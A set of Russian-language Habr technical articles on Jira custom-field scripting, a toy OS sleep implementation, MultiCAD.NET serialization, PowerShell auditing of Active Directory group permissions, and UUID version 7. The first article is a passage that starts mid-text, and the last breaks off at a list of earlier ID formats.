select_singlechoice_field.updateValue(null, issue, new ModifiedValue("", (Object) getOptions(issue, select_singlechoice_field, ["option 1"]).get(0)), new DefaultIssueChangeHolder())
selectlist_multichoice_field.updateValue(null, issue, new ModifiedValue("", (Object) getOptions(issue, selectlist_multichoice_field, ["option 1", "option 2"])), new DefaultIssueChangeHolder())
url_field.updateValue(null, issue, new ModifiedValue("", (Object) "http://google.com"), new DefaultIssueChangeHolder())
// получаем опции для кастомные полей типа radio button, checkbox and select
def List getOptions(Issue issue, CustomField customField, List optionList) {
def config = customField.getRelevantConfig(issue)
def options = ComponentAccessor.getOptionsManager().getOptions(config)
def optionsToSelect = options.findAll { it.value in optionList }
}
// получаем пользователя для кастомного поля типа user picker
def ApplicationUser findUser(String userName) {
def userSearchService = ComponentAccessor.getComponent(UserSearchService.class);
UserSearchParams userSearchParams = (new UserSearchParams.Builder()).allowEmptyQuery(true).includeActive(true).includeInactive(true).maxResults(100000).build();
return userSearchService.findUsers(userName, userSearchParams).get(0)
}
// получаем опции для кастомного поля типа cascading select
def Map getCascadingOptions(Issue issue, CustomField customField) {
def parentOptionObj = getOptions(issue, customField, ["option 1"]).get(0) as Option
def childOptionObj = ComponentAccessor.getOptionsManager().findByParentId(parentOptionObj.getOptionId()).get(0)
Map newValues = new HashMap<>()
newValues.put(null, parentOptionObj)
newValues.put("1", childOptionObj)
return newValues
}
```
Для того, чтобы обнулить поле, необходимо установить значение null. Например, вот так:
```
singleline_field.updateValue(null, issue, new ModifiedValue("", null), new DefaultIssueChangeHolder())
```
#### Способ 3 IssueService.update(ApplicationUser user, IssueService.UpdateValidationResult updateValidationResult)
Ниже приведен скрипт для изменения полей:
**Код**
```
import com.atlassian.jira.issue.IssueInputParameters
import com.atlassian.jira.bc.issue.IssueService
import com.atlassian.jira.bc.issue.IssueService.UpdateValidationResult
import com.atlassian.jira.bc.issue.IssueService.IssueResult
import com.atlassian.jira.component.ComponentAccessor
import com.atlassian.jira.issue.customfields.option.Option
import com.atlassian.jira.issue.Issue
import com.atlassian.jira.issue.fields.CustomField
import com.atlassian.jira.issue.label.Label
import com.atlassian.jira.bc.user.search.UserSearchService
import com.atlassian.jira.bc.user.search.UserSearchParams
import com.atlassian.jira.user.ApplicationUser
import java.text.SimpleDateFormat
def issue = ComponentAccessor.getIssueManager().getIssueByCurrentKey("BP-7")
def user = ComponentAccessor.getJiraAuthenticationContext().getLoggedInUser()
// Получаем ссылки на кастомные поля
def singleline_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("singleline_field")
def datetimepicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("datetimepicker_field")
def checkbox_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("checkbox_field")
def number_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("number_field")
def labels_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("labels_field")
def multi_grouppicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("multi_grouppicker_field")
def multiline_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("multiline_field")
def datepicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("datepicker_field")
def userpicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("userpicker_field")
def radiobuttons_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("radiobuttons_field")
def selectlist_cascading_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("selectlist_cascading_field")
def select_singlechoice_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("select_singlechoice_field")
def selectlist_multichoice_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("selectlist_multichoice_field")
def url_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("url_field")
IssueService issueService = ComponentAccessor.getComponent(IssueService.class);
IssueInputParameters issueInputParameters = issueService.newIssueInputParameters();
// устанавливаем значения кастомных полей
issueInputParameters
.addCustomFieldValue(singleline_field.getId(), "Test 1")
.addCustomFieldValue(datetimepicker_field.getId(), new SimpleDateFormat("d/MMM/yy hh:mm a").format(new Date()))
.addCustomFieldValue(checkbox_field.getId(), getOptionsAsString(issue, checkbox_field, ["option 1"]))
.addCustomFieldValue(number_field.getId(), "1")
.addCustomFieldValue(labels_field.getId(), "Label")
.addCustomFieldValue(multi_grouppicker_field.getId(), "jira-software-users")
.addCustomFieldValue(multiline_field.getId(), "Test 2")
.addCustomFieldValue(datepicker_field.getId(), new SimpleDateFormat("d/MMM/yy").format(new Date()))
.addCustomFieldValue(userpicker_field.getId(), "admin")
.addCustomFieldValue(radiobuttons_field.getId(), getOptionsAsString(issue, radiobuttons_field, ["option 1"]))
.addCustomFieldValue(selectlist_cascading_field.getId(), getCascadingOptions(issue, selectlist_cascading_field).get("parent").toString())
.addCustomFieldValue(selectlist_cascading_field.getId() + ":1", getCascadingOptions(issue, selectlist_cascading_field).get("1").toString())
.addCustomFieldValue(select_singlechoice_field.getId(), getOptionsAsString(issue, select_singlechoice_field, ["option 1"]))
.addCustomFieldValue(selectlist_multichoice_field.getId(), getOptionsAsString(issue, selectlist_multichoice_field, ["option 1"]))
.addCustomFieldValue(url_field.getId(), "http://google.com")
// мы устанавливаем не все значения для запроса, поэтому мы должны явно это указать
issueInputParameters.setRetainExistingValuesWhenParameterNotProvided(true,true)
// проверяем корректность наших данных для обновления запроса
UpdateValidationResult updateValidationResult = issueService.validateUpdate(user, issue.getId(), issueInputParameters);
if (updateValidationResult.isValid())
{
// применяем изменения
IssueResult updateResult = issueService.update(user, updateValidationResult);
if (!updateResult.isValid())
{
log.error("error updateResult: " + updateResult.getErrorCollection().toString())
}
} else {
log.error("error: updateValidationResult" + updateValidationResult.getErrorCollection().toString())
}
// получаем опции для кастомных полей radio button, checkbox and select
def List getOptions(Issue issue, CustomField customField, List optionList) {
def config = customField.getRelevantConfig(issue)
def options = ComponentAccessor.getOptionsManager().getOptions(config)
return options.findAll{ it.value in optionList }
}
// переводит опции (option.getOptionId()) в представление типа String
def String getOptionsAsString(Issue issue, CustomField customField, List optionList) {
List optionIdList = new ArrayList<>()
getOptions(issue, customField, optionList).each {
optionIdList.add(((Option) it).getOptionId())
}
return optionIdList.join(",")
}
// получаем опции для кастомного поля типа user picker
def ApplicationUser findUser(String userName) {
def userSearchService = ComponentAccessor.getComponent(UserSearchService.class);
UserSearchParams userSearchParams = (new UserSearchParams.Builder()).allowEmptyQuery(true).includeActive(true).includeInactive(true).maxResults(100000).build();
return userSearchService.findUsers(userName, userSearchParams).get(0)
}
// получаем опции для кастомного поля типа cascading select
def Map getCascadingOptions(Issue issue, CustomField customField) {
def parentOptionObj = getOptions(issue, customField, ["option 1"]).get(0) as Option
def childOptionObj = ComponentAccessor.getOptionsManager().findByParentId(parentOptionObj.getOptionId()).get(0)
Map newValues = new HashMap<>()
newValues.put("parent", parentOptionObj.getOptionId())
newValues.put("1", childOptionObj.getOptionId())
return newValues
}
```
Для того, чтобы обнулить поле, необходимо установить значение null. Например, вот так:
```
.addCustomFieldValue(singleline_field.getId(), null)
```
#### Какие типы данных нужно передавать в каждый метод
#### Отличия в работе каждого из методов
 | https://habr.com/ru/post/349876/ | null | ru | null |
# Пишу игрушечную ОС (о реализации sleep)
Очередной пост для блога, посвященного работе над игрушечной ОС. В [прошлый раз](http://habrahabr.ru/post/179561/) я писал про необходимость в простеньком драйвере AHCI (SATA). Прежде чем начать двигаться в этом направлении, я решил набросать инфраструктуру драйверов: общий интерфейс драйвера + уточнённый интерфейс драйвера устройства хранения. Формулирование этих интерфейсов выявило проблему, на которую я ранее не обращал внимания — проблему портируемости.
Не зависящий от платформы код (например, большая часть планировщика, вспомогательный код типа kprintf, ...) у меня перемешивается с кодом, заточенным только под x86\_64 (системные таблицы дескрипторов, APIC, прерывания, ...). Хотя ничего не мешало мне сформулировать интерфейс драйвера, жёстко привязанного к x86\_64 (в частности, свободно оперировать PCI-адресами), мне стало ясно, что без чёткого отделения кода, специфичного для конкретной платформы, от общего портируемого кода я буду лишь усугублять ситуацию. Итак, я принял решение перебрать всё написанное, отделив общий код (в корне src/) от кода, специфичного для платформы (в src/x86\_64/). Этим я и занимался последние две недели.
Опишу вкратце механизм разделения кода на примере планировщика. Интерфейс планировщика src/schedule.h подключает (#include) специальный файл src/x86\_64/schedule.inc, содержащий зависящие от платформы static inline функции (как интерфейсные, так и внутренние). Все внутренние символы (не относящиеся к интерфейсным, но не могущие быть static) предваряются префиксом "\_\_". Основная реализация планировщика находится в src/schedule.c, отдельные внутренние функции и код ассемблера в src/x86\_64/schedule.c. Таким образом, кода планировщика «распыляется» на две директории. Разумеется, эта сложность лишь для общего случая, тогда как многие модули строятся по упрощённой схеме. Например, для cpu\_info (информация о логических процессорах) заголовок раполагается в src/, а реализация — в src/x86\_64/. Или полностью платформозависимый APIC целиком помещён в src/x86\_64/.
Теперь об обещанной функции sleep. В отличие от мьютекса реализация sleep потребовала некоторой модификации планировщика (пусть и минимальной). В интерфейсную часть ([src/schedule.h](https://github.com/ababo/toy/blob/master/src/schedule.h)) добавились функции:
```
typedef void (*timer_proc)(uint64_t ticks);
uint64_t get_ticks(void);
timer_proc get_timer_proc(void);
uint64_t get_timer_ticks(void); // is zeroed after triggering
void set_timer_proc(timer_proc proc); // called within a timer interrupt
void set_timer_ticks(uint64_t ticks); // not thread-safe
```
Т.е. теперь планировщик выступает ещё и в роли таймера: хранит счётчик тиков (внутренних прерываний по таймеру), а также вызывает функцию-обработчик, как только число тиков достигнет заданного числа. Рассмотрим реализацию этого механизма ([src/schedule.c](https://github.com/ababo/toy/blob/master/src/schedule.c)).
```
static inline void handle_timer(int cpu) {
if (cpu == get_bsp_cpu())
ticks++;
if (timer_ticks[cpu] && timer_ticks[cpu] <= ticks) {
uint64_t prev_ticks = timer_ticks[cpu];
timer_ticks[cpu] = 0;
set_outer_spinlock(true);
timer_proc_(prev_ticks);
set_outer_spinlock(false);
}
}
```
Функция handle\_timer вызывается в каждом прерывании по таймеру. Несмотря на то, что счётчик ticks инкрементируется только для bootstrap-процессора, таймер независимо программируется для каждого из логических процессоров. Оборачивание вызова обработчика в set\_outer\_spinlock нужно для того, чтобы вызов release\_spinlock внутри обработчика случайно не выполнил инструкцию STI (не забываем, что мы находимся в контексте прерывания).
Вот теперь, пользуясь этим расширенным функционалом планировщика, мы можем реализовать sleep ([src/sync.c](https://github.com/ababo/toy/blob/master/src/sync.c)).
```
struct sleep_node {
struct sleep_node *next;
thread_id thread;
uint64_t ticks;
};
static struct sleep_data {
struct sleep_node *tail;
struct mem_pool pool;
struct spinlock lock;
} sleeping[CONFIG_CPUS_MAX];
static void sleep_timer_proc(UNUSED uint64_t ticks) {
struct sleep_data *slp = &sleeping[get_cpu()];
if (slp->tail) {
struct sleep_node *node = slp->tail;
slp->tail = slp->tail->next;
if (slp->tail)
set_timer_ticks(slp->tail->ticks);
resume_thread(node->thread);
free_block(&slp->pool, node);
}
}
err_code sleep(uint64_t period) {
struct sleep_data *slp = &sleeping[get_cpu()];
err_code err = ERR_NONE;
acquire_spinlock(&slp->lock, 0);
struct sleep_node *node = alloc_block(&slp->pool);
if (node) {
node->thread = get_thread();
node->ticks = get_ticks() + period / CONFIG_SCHEDULER_TICK_INTERVAL;
if (!slp->tail || slp->tail->ticks > node->ticks) { // is first to wake up
node->next = slp->tail, slp->tail = node;
set_timer_ticks(node->ticks);
}
else {
struct sleep_node *prev = slp->tail;
while (prev->next && prev->next->ticks <= node->ticks)
prev = prev->next;
node->next = prev->next, prev->next = node;
}
pause_this_thread(&slp->lock);
}
else
err = ERR_OUT_OF_MEMORY;
if (err)
release_spinlock(&slp->lock);
return err;
}
```
Вышеприведённый код нуждается в некоторых пояснениях:
1. Экземпляр структуры sleep\_data соответствует логическому процессору. Пул для sleep\_node у каждого процессора независимый, поскольку mem\_pool не потокобезопасен.
*Именно поэтому в коде мьютекса у меня прячется серьёзная ошибка: для всех мьютексов предусмотрен единый пул для mutex\_node, а нужно, чтобы каждый мьютекс имел свой собственный пул. Планирую исправить это в ближайшее время.*
2. Как видно из кода, при добавлении в список потоки ранжируются по времени пробуждения (в тиках).
3. Функция sleep\_timer\_proc и есть тот обработчик, который вызывается планировщиком в контексте прерывания по таймеру. Её задача — разбудить нужный поток.
Остальное кажется достаточно прозрачным. | https://habr.com/ru/post/181870/ | null | ru | null |
# Сериализация объектов в MultiCAD.NET. Управление совместимостью чертежей и прокси-объектами
При создании пользовательских объектов на традиционном C++ API (NRX в nanoCAD, ObjectARX в AutoCAD) для обеспечения сохранения объектов и чтения их из файла чертежа необходимо в явном виде описывать запись (сериализацию) и чтение (десериализацию) каждого поля. В MultiCAD.NET API применён более привычный .NET разработчикам описательный подход, в основе которого лежит стандартная .NET сериализация.
Применение сериализации, нечувствительной к версии объектов (Version Tolerance Serialization), предоставляет разработчикам более гибкий механизм управления совместимостью объектов разных версий, чем существующий в традиционном C++ API, где предусмотрено чтение предыдущих версий, но чтение файлов «из будущего» невозможно.
В MultiCAD.NET при описании новых версий объектов можно указать, что вновь добавленные поля необязательны, и тогда чертёж, сохранённый в формате новой версии приложения, прочтётся и в предыдущей версии. Разумеется, без изменений остался и традиционный подход, приводящий к созданию прокси объектов (кешированной графики объектов) при загрузке чертежа в предыдущую версию приложения.
Под катом мы обсудим, как достичь совместимости двух версий объекта, а также, как обеспечить традиционный уровень совместимости, когда новые версии приложения читают старые чертежи, но не наоборот.
Давайте рассмотрим как MultiCAD.NET использует оба этих подхода (VTS и механизм proxy-объектов) для организации управления совместимостью объектов. В качестве наглядного примера рассмотрим две версии пользовательского объекта «Крестовая метка».
#### Создание класса для экспериментов
Об основах создания пользовательских примитивов в MultiCAD.NET мы рассказывали в одной из прошлых [статей](http://habrahabr.ru/company/nanosoft/blog/184482/), поэтому не будем подробно на этом останавливаться, а сразу перейдём к описанию пользовательского примитива «Крестовая метка»:
```
[CustomEntity("1C925FA1-842B-49CD-924F-4ABF9717DB62", 1, "Crossmark", "Crossmark Sample Entity")]
[Serializable]
public class CrossMark : McCustomBase
{
private Point3d pnt1;
private Point3d pnt2;
private Point3d pnt3;
private Point3d pnt4;
}
```
Полный код приложения доступен [здесь](http://ftp.nanocad.ru/habr/Serialization/Serialization_MCAD.zip). После компиляции приложения и запуска его командой *«crossmark»* по результату пользовательского ввода на чертеж будет добавлен следующий примитив:
Сохраните полученный .dwg-файл. Теперь несколько изменим наш класс, добавив в него дополнительную функциональность.
#### Вторая версия класса и обеспечение межверсионной совместимости объектов
Во второй версии класса мы изменим геометрию нашего примитива, добавив окружность в центр крестовой метки. В качестве дополнительного поля добавим радиус этой окружности, снабдив его атрибутом `[OptionalField]`, чтобы отметить его, как необязательное в случае десериализации более ранней версии объекта. Укажем также и номер новой версии, используюя свойство `VersionAdded`:
```
[OptionalField(VersionAdded = 2)]
private double radius = -1;
```
Инициализируем новую переменную в конструкторе и добавим общедоступное свойство для получения доступа к этому полю:
```
public CrossMark()
{
...
radius = 10;
}
[Category("Circular component")]
[DisplayName("Circle radius")]
[Description("Radius of circular component of the cross mark")]
public double Radius
{
get
{
return radius;
}
set
{
radius = value;
}
}
```
Для того, чтобы проинициировать добавленнное поле после десериализации объекта правильным значением, будет использоваться метод `OnDeserialized` с атрибутом `[OnDeserialized]`:
```
[OnDeserialized]
private void OnDeserialized(StreamingContext context)
{
if (radius == -1)
{
radius = 10;
}
}
```
Теперь приложения, работающие с новыми версиями типа, могут также принимать объекты более старых версий. Кроме этого, VTS также решает проблему обратной совместимости: приложения, работающие со старыми версиями объектов могут принимать и новые версии: «лишние» поля при этом просто игнорируются и десериализация проходит успешно.
Таким образом, мы обеспечили полную совместимость версий нашего класса. Осталось только добавить отрисовку окружности в метод `OnDraw()`:
```
public override void OnDraw(GeometryBuilder dc)
{
...
dc.DrawCircle(new Point3d(pnt1.X + 25, pnt1.Y, pnt1.Z), radius);
}
```
Полный код второй версии приложения также доступен в [архиве](http://ftp.nanocad.ru/habr/Serialization/Serialization_MCAD.zip). Компилируем проект, запускаем nanoCAD, загружаем построенную сборку и запускаем новую версию приложения все той же командой *«crossmark»*. После указания точки вставки получаем .dwg файл с обновленной версией нашего примитива:
Так же сохраняем полученный файл.
##### Результаты
А теперь убедимся в полной совместимости обеих версий.
Запускаем nanoCAD, загружаем вторую версию сборки и открываем первую версию файла. Файл будет успешно открыт и на экране нас ожидает сохраненный в первой версии примитив. Как только будет произведено какое-либо действие, приводящие к перерисовке объекта (например, перемещение) объект будет перерисован в новой версии с учетом работы конструктора сериализации: крестовая метка будет нарисована с окружностью заданного радиуса. Для этого также может быть использована команда *REGENOBJ*.
Закрываем файл. Загружаем первую версию приложения и открываем вторую версию файла. Файл также успешно загрузится и первоначально будет отрисован объект второй версии, как он был сохранен в файле. После же перерисовки крестовая метка будет изображена в том виде, который был определен в первой версии.
#### Традиционный подход. Совместимость сверху вниз
Механизм VTS, позволяющий обеспечить совместимость снизу вверх, применим далеко не всегда, поскольку не все данные в новых версиях объектов могут быть сочтены несущественными. Для того, чтобы обеспечить совместимость сверху вниз, при создании новой версии объекта необходимо использовать атрибут следующего вида:
```
[CustomEntity(guid, majorVersion, databaseName, localName)]
```
Здесь свойство `majorVersion` как раз и задает главную версию объекта, в рамках которой будет обеспечиваться полная совместимость. Если новые объекты созданы с `majorVersion`, значение которого больше предыдущего, то при попытке открытия таких объектов более старой версией кода будет получен код возврата `eMakeMeProxy`. В этом случае объекты на чертеже будут представлены как прокси-объекты, что исключает возможность их изменения и редактирования.
#### Заключение
В этой статье мы рассмотрели пример создания двух версий пользовательского объекта и процесс управления совместимостью между версиями в самом простом случае — при добавления в новой версии дополнительных полей данных. Об обеспечении совместимости версий пользовательских объектов при более серьёзных изменениях, таких как удаление, переименование полей или изменение их типов мы расскажем в одной из следующих статей.
Обсуждение статьи доступно также и на нашем форуме: [forum.nanocad.ru/index.php?showtopic=6515](http://forum.nanocad.ru/index.php?showtopic=6515).
Перевод статьи на английский: [Serializing objects in MultiCAD.NET. Managing drawings compatibility and proxy objects](http://developer.nanocad.com/blog/2014/11/25/serializing-objects-in-multicad-net-managing-drawings-compatibility-and-proxy-objects/). | https://habr.com/ru/post/219997/ | null | ru | null |
# Потерянная группа. Выясняем назначение «странных» групп в AD
Доброе время суток, хабраграждане!
Спешу с Вами поделиться одной из своих вещиц, которые были призваны облегчить работу мне, как системного администратора, который разбирается в, доставшимся ему по наследству, хламе в Active Directory.
Самые проблемные из доставшегося добра, по моему мнению, это группы. О них и пойдет речь в данной статье.
А именно: заходим в Active Directory, бороздим просторы подразделений и видим группы, совершенно с безликими названиями (например Ugin, Vassa, Opel, www etc) и без описания. Внимание вопрос: определите для чего нужны эти группы.
### Что мы получаем по наследству
Так вот, мы видим группу, чешем затылок. В группе пользователи из разных подразделений. Никаких признаков на здравый смыл. Возможно, по названию группы мы смутно сможем определить (или догадаться), для чего она нужна. Это будет плюс тому, кто Вам все это оставил. Что же будем делать?
Так же и у меня на работе, как только занялся доменом, я нашел вагон и маленькую тележку таких групп. И хотя все люди, которые им до меня заведовали, остались на месте, никто мне толкового ответа дать не мог. Если раньше можно было закрыть глаза на это, было много других дел, то сейчас пришла необходимость навести порядок.
В чем смысл жизни групп? Как правило, это или доступ к ресурсам в расшаренных папках, или фильтр для применения групповых политик (не беру в расчет системные группы вроде Domain Admins etc.)
Значит задача для нас поставлена: нам надо проверить Access Control List (ACL) папок в расшаренных ресурсах и в групповых политиках.
### Здравствуйте mr. PoSh
Здесь на арену выходит наш швейцарский нож, с помощью которого мы будем вскрывать ACL папок и политик.
Так как с политиками проще, начнем с них.
#### Групповые политики
Для работы с групповыми политиками нам поможет модуль grouppolicy. Из этого модуля мы используем два cmdlet`а:
1. get-gpo, который передает нам список всех групповых политик в домене
2. get-gppermissions, который позволяет нам просматривать ACL политик.
Затем, мы просто ищем совпадение между именем нашей группы и записью в ACL, и если таковые имеются, выводим сведения об этой политике:
```
$name=read-host "Введите полное имя учетной записи или группы"
Write-Host -Fore RED "Проверка в групповых политиках..."
$gpos=get-gpo -all
Foreach ($gpo in $gpos)
{
$ACls=get-gppermissions -Name $gpo.DisplayName -all
Foreach ($acl in $ACls)
{
if ($acl.Trustee.Name -match "$name")
{
Write-Host -Fore GREEN "Найдена политика!"; $gpo
If ($acl.Permission -eq "GpoApply")
{if ($acl.Denied) {Write-Host -Fore RED "Применение политики запрещено"}}
}
}
}
```
Так же хочу отметить свойства Permission и Denied в ACL.
1. Permission — в нем записаны разрешения для объекта, например применение политики (GpoApply), чтение политики (GpoRead), изменение политики (GpoEdit) или вообще все сразу (GpoEditDeleteModifySecurity).
2. Denied показывает нам разрешено или запрещено то, что отображается в Permission.
Если посмотреть на кусок скрипта, то можно увидеть, что если в ACL группы, будет запрещено (Denied -eq $true) применение политики (Permission -eq «GpoApply»), то выведется уведомление об этом. В принципе можно было расписать уведомления для всех случаев, но меня интересует только запрет на распространение политики.
P.S. Переменную $name, в которой находится имя нашей группы, мы будем использовать и в следующих кусках кода.
#### Общие папки
Теперь займемся общими папками. Есть два варианта:
1. Когда разрешение дано непосредственно на расшаренный ресурс.
2. Когда разрешение дано на папку, спрятанную в недрах расшаренного ресурса.
Пойдем опять по порядку.
##### Ищем на поверхности
Самый простой и понятный способ, это давать разрешения на расшаренные папки. Так лучше и тем, что все разрешения у Вас в 1 месте, и не надо путать Ваших наследников, когда они докопаются до 4 слоя папок и найдут одну папку с фотографиями вашего дня рождения, куда был разрешен вход только вашей знакомой из Бухгалтерии. Потеряет она ярлычок, угадаете что за папка ей была нужна? Но к ней мы вернемся позже.
А сейчас нам необходимо проверить ACL на расшаренных папках на нашем файл-сервере (здесь он называется FileServer...(да, я оригинален)). Для этого мы используем всеми любимый WMI. Замечу, что я сразу отбрасываю в сторону папки, которые не отображаются при простом входе на наш сервер. Зачем? Обычные пользователи туда не залезут, ну а необычных, можно и спросить (при необходимости, можно убрать):
```
Write-Host -Fore RED "Проверка в папках \\FileServer"
$dirs=get-wmiobject win32_Share -computername FileServer | where-object {$_.Name -notmatch "\$"}
Foreach ($dir in $dirs)
{
Trap [System.UnauthorizedAccessException]
{"Был запрещен доступ к папке $share"; continue;}
$out=$null
$share=$dir.Path
if ($share -match "^D:") {$share = $share.ToUpper().Replace('D:','\\FileServer\d$')}
elseif ($share -match "^C:") {$share = $share.ToUpper().Replace('C:','\\FileServer\c$')}
$out=($share | get-acl).Access | where-object {$_.IdentityReference -match "$name"}
if ($out -ne $null)
{Write-Host -Fore green "Найдена папка!" $share}
}
```
Также мы перехватываем ошибку, которая говорит нам, что доступ к определенным папкам закрыт, и вместо красных пугающих ошибок нам будет выводиться простое сообщение.
Две строчки, в которых мы заменяем 'D:' на '\\FileServer\d$' (и аналогичное с диском 'C') необходимы, т.к. если этого не сделать, cmdlet get-acl будет пытаться искать эти папки на нашем компьютере и, скорее всего, не найдет. А искать по пути \\FileServer\Folder он (cmdlet get-acl) не может. В нашем примере только 2 диска, но добавить еще — не проблема.
##### Спускаемся в глубины
Возвращаемся к знакомой из бухгалтерии. Теперь копаемся в подпапках.
Я думаю многие скажут, зачем что то придумывать, когда можно использовать get-childitem -recurse. Если у Вас на сервере не очень много папок — да, можно использовать recurse. Но если у вас около 7 ТБ файлсервера, то проблемы, в принципе, тоже нет, надо всего лишь подождать пару часиков, и все сработает. И молите бога, что бы у вас не было ошибки на середине поиска.
Значит -recurse нам не поможет, что тогда? Тогда нам надо смастерить цикл, который по нашей прихоти будет углубляться в недра папок на столько, на сколько мы захотим (звучит как то пошло). Предположим, что у нас есть папка с подпапками для отделов (прошу простить за тавтологию). Эти папки не расшарены. В некоторых этих папках находятся нужные нам папки, с заветными разрешениями.
```
Write-Host -Fore RED "Проверка в папках \\FileServer\WorkFolders..."
$AllPath=@{}
$sub=4
$path=dir \\FileServer\c$\WorkFolders | where-object {$_.PSIscontainer}
$AllPath=$path
$cnt=0
For ($o=1; $o -lt $Sub; $o++)
{
$PPath=$AllPath
For ($i=$Cnt; $i -lt $PPath.Count; $i++)
{
$a = dir $PPath[$i].FullName | where-object {$_.PSIscontainer}
if ($a -ne $null) {$AllPath = $AllPath + $a}
}
$cnt=$PPath.Count
}
Foreach ($WF in $AllPath)
{
Trap [System.UnauthorizedAccessException]
{"Был запрещен доступ к папке" + $WF.FullName; continue;}
$out=$null
$out=(get-acl $WF.FullName).Access | where-object {$_.IdentityReference -match "$name"}
if ($out -ne $null)
{Write-Host -Fore GREEN "Найдена папка!"; $WF.FullName}
}
```
Можно заметить, что нам нужны только папки, по этому мы фильтруем вывод с помощью свойства PSIscontainer.
Переменная $sub задает глубину поиска. В переменной $AllPath хранятся пути ко всем папкам, которые мы нашли. Ну а дальше, уже знакомые нам телодвижения, проверяют ACL найденных папок на наличие нашей группы в них.
#### В итоге
Таким образом можно найти практически в любых недрах разрешения на определенную группу. Естественно, можно использовать не только для поиска групп, но так же и для поиска пользователей и компьютеров (к счастью, с таким я сталкиваюсь редко).
Делать ли из всего этого один скрипт, одну или несколько функций — решать вам.
В заключении хочется сказать несколько трогательных слов: товарищи, коллеги, давайте не будем усложнять друг другу жизнь на новом месте работы. Нет ничего сложно, что бы в описании группы написать о ее назначении. И ничего нет сложного, что бы создать эту группу а не вешать разрешения на учетные записи. Если мы все будем это делать, то вскоре не будет надобности писать такие статьи. | https://habr.com/ru/post/138600/ | null | ru | null |
# UUID версии 7, или как не потеряться во времени при создании идентификатора
Будьте аккуратны, при сохранении даты в UUIDВ течение многих лет я противостоял засилью UUID как ключей в базах данных, но со временем и практикой до меня дошло. Они действительно удобны, когда речь идёт о распределённых системах. Генерировать новый идентификатор на разных концах планеты не так-то просто. Создание псевдослучайных идентификаторов решает эту проблему.
Хотя, подобные решения, не всегда хороши. В отличие от обыкновенных цифровых значений, которые легко кешировать и сортировать, UUID не так гибки в использовании. UUID версии 7 предназначен как раз для того, чтобы разобраться с подобными проблемами.
Добро пожаловать в мир отсортированных случайностей.
Сами по себе UUID это не просто набор случайных битов. Существует несколько вариантов их генерации. [@AloneCoder](/users/alonecoder) в своей статье [как генерируются UUID](https://habr.com/en/company/mailru/blog/522094/) в подробностях описывает уже существующие форматы идентификаторов, версии с первой по пятую.
UUID в базах данных
-------------------
Почему нам необходимо генерировать UUID, а не просто брать случайные данные? Ну, ответов может быть множество. Сохранение данных о хосте, который сгенерировал последовательность, сохранение времени и тому подобных значений, позволяет сделать UUID более информативными. Подобный подход можно использовать при создании распределённых вычислительных систем. Например, вместо того, чтобы грузить базу данных запросами с датой, можно просто выбрать те идентификаторы, которые содержат в себе эту дату.
Всё бы хорошо, но вот именно это и не очень-то просто. Выбирать даты из строковых значений UUID это та ещё свистопляска. Почему? Ну, давайте посмотрим на последовательность генерации UUIDv1.
1. Берутся младшие 32 бита текущей временной метки UTC. Это будут первые 4 байта (8 шестнадцатеричных символов) UUID [`TimeLow`].
2. Берутся средние 16 битов текущей временной метки UTC. Это будут следующие 2 байта (4 шестнадцатеричных символа) [`TimeMid`].
3. Следующие 2 байта (4 шестнадцатеричных символа) конкатенируют 4 бита версии UUID с оставшимися 12 старшими битами текущей временной метки UTC (в которой всего 60 битов) [`TimeHighAndVersion`].
Как всё замечательно запутано. На самом деле, распарсить дату из такого идентификатора достаточно просто, но парсинг это парсинг. Это не весело и нагружает процессор.
Герой дня
---------
Встречайте, UUIDv7!
На данный момент Версия 7 - это черновик RFC, доступный по адресу <https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01>.
Основная разработка ведётся силами двух разработчиков: [bradleypeabody](https://github.com/bradleypeabody) и [kyzer-davis](https://github.com/kyzer-davis). Хабрачеловеки и хабраалиены могут поучаствовать в обсуждении и написании формата на гитхабе <https://github.com/uuid6/uuid6-ietf-draft/>.
Пять дней назад эта спецификация вызвала оживлённую дискуссию на [hackernews](https://news.ycombinator.com/item?id=28088213).
При разработке спецификаций, были рассмотрены следующие форматы генерации UUID:
1. [LexicalUUID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-LexicalUUID) by Twitter
2. [Snowflake](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-Snowflake) by Twitter
3. [Flake](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-Flake) by Boundary
4. [ShardingID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-ShardingID) by Instagram
5. [KSUID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-KSUID) by Segment
6. [Elasticflake](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-Elasticflake) by P. Pearcy
7. [FlakeID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-FlakeID) by T. Pawlak
8. [Sonyflake](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-Sonyflake) by Sony
9. [orderedUuid](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-orderedUuid) by IT. Cabrera
10. [COMBGUID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-COMBGUID) by R.Tallent
11. [ULID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-ULID) by A. Feerasta
12. [SID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-SID) by A. Chilton
13. [pushID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-pushID) by Google
